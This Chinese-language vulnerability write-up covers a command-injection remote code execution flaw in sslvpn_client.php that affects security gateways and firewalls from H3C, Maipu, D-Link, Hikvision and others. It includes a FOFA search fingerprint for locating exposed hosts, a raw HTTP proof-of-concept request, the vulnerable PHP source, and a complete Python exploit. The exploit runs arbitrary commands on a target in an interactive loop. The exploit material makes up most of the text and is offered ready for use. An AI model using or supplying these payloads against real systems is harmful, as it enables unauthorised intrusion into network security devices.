多款安全设备通杀 RCE
漏洞描述
该漏洞影响面非常广,sslvpn_client.php存在远程命令执行漏洞,涉及多款安全产品。
影响范围
h3c web 网管系统
h3c 下一代防火墙
安恒信息-明御安全网关
MAiPU-安全网关
D_Link-下一代防火墙
HIKVISION-安全网关
等等
资产测绘
body="/webui/images/default/default/alert_close.jpg"
漏洞复现
fofa 搜索结果 1.8w+
受影响的产品列举:
h3c web 网管系统
博达下一代防火墙
其它受影响的产品包括但不限于安恒信息-明御安全网关
、MAiPU-安全网关
、D_Link-下一代防火墙
、HIKVISION-安全网关
发送POC,将结果写入ceshi.txt
GET /sslvpn/sslvpn_client.php/?client=logoImg&img=x%20/tmp|echo%20%60ls%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: USGSESSID=518213192c7ff2d62fdba61e4f4416a2
Upgrade-Insecure-Requests: 1
访问 /sslvpn/ceshi.txt
,复现成功
读取 sslvpn_client.php ,分析漏洞产生的原因,代码如下:
<?php
require_once '../webui/config.inc';
require_once '../webui/include/common.inc';
//require_once 'auth_lang.php';
$DEMO_DATA = 0;
if ($_POST['login_state'] == 'login_state') {
if ($LJ_FW_FLAG) {
$login_state_ret = LoginHandler::check_login_state();
} else {
$login_state_ret = 1;
}
echo $login_state_ret;
return;
}
if ($_GET['client'] == 'file') {
if (file_exists('./download/client.ovpn') == false) {
die('文件不存在');
}
header('Location:./download/client.ovpn');
showSuccess('vpn_sslvpn_policy_show');
}
if ($_GET['client'] == 'windows') {
if ($_GET['addr'])
$addr = formatpost($_GET['addr']);
// 屏蔽域名不存在等访问问题的警告
// error_reporting(E_ALL ^ (E_WARNING|E_NOTICE));
if (!check_file_exists($addr)) {
die('文件不存在');
}
header('Location:' . $addr);
showSuccess('vpn_sslvpn_policy_show');
exit;
}
if ($_GET['client'] == 'android') {
if ($_GET['addr'])
$addr = formatpost($_GET['addr']);
if (!check_file_exists($addr)) {
die('文件不存在');
}
header('Location:' . $addr);
showSuccess('vpn_sslvpn_policy_show');
}
if ($_GET['client'] == 'logoImg') {
if ($_GET['img'])
$img = formatpost($_GET['img']);
exec('cp -f /mnt/' . $img . ' /usr/local/webui/sslvpn/public/images/');
echo $img;
return;
}
if ($_GET['client'] == 'getResponse') {
$rspString = getResponse("sslvpn_portal_page", "showone", $param);
$param = getAssign($rspString);
echo json_encode($param);
return;
}
function check_file_exists($file)
{
if (strtolower(substr($file, 0, 4)) != 'http') {
return file_exists($file);
}
return true;
}
?>
漏洞位于48-54行,对传入的参数使用 进行过滤(但是我没有找到该方法),然后调用exec函数,将img参数拼接进去后执行
if ($_GET['client'] == 'logoImg') {
if ($_GET['img'])
$img = formatpost($_GET['img']);
exec('cp -f /mnt/' . $img . ' /usr/local/webui/sslvpn/public/images/');
echo $img;
return;
}
经过测试,formatpost()
方法过滤了双引号、尖括号等特殊字符,无法通过 echo xxx > 1.php
这种重定向的方式写入文件,因此这里使用了 tee
命令的方式将命令执行的结果写入到了 txt 中。
tee
是一个 Linux/Unix 命令,用于从标准输入读取数据并将其写入文件,同时也将数据输出到标准输出(通常是终端)。tee
命令的语法通常如下:
command | tee [选项] 文件
POC&EXP
# -*- encoding: utf-8 -*-
# Date: 2023/12/07
# Author: iy
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def title():
print('+-------------------------------------------------')
print('[+] \033[34m多款安全设备通杀RCE \033[0m')
print('+-------------------------------------------------')
def check(target_url):
check_url = target_url + "/sslvpn/sslvpn_client.php/?client=logoImg&img=x%20/tmp|echo%20%60whoami%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls"
try:
requests.get(url=check_url, verify=False, timeout=10)
des_url = target_url + "/sslvpn/ceshi.txt"
response = requests.get(url=des_url, verify=False, timeout=10)
if response.status_code == 200 and 'root' in response.text:
print("[+] 漏洞存在")
return True
else:
return False
except Exception as e:
print("请求发生异常:", e)
def exp(target_url):
if check(target_url):
while True:
cmd = str(input("\033[35mcmd >>> \033[0m"))
if cmd.lower() == 'q':
break
vuln_url = target_url + f"/sslvpn/sslvpn_client.php/?client=logoImg&img=x%20/tmp|echo%20%60{cmd}%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls"
try:
requests.get(url=vuln_url, verify=False, timeout=10)
des_url = target_url + "/sslvpn/ceshi.txt"
response = requests.get(url=des_url, verify=False, timeout=10)
print(response.text)
except Exception as e:
print("请求发生异常:", e)
else:
print("[-] 漏洞不存在")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mUrl >>> \033[0m"))
exp(target_url)
运行效果如下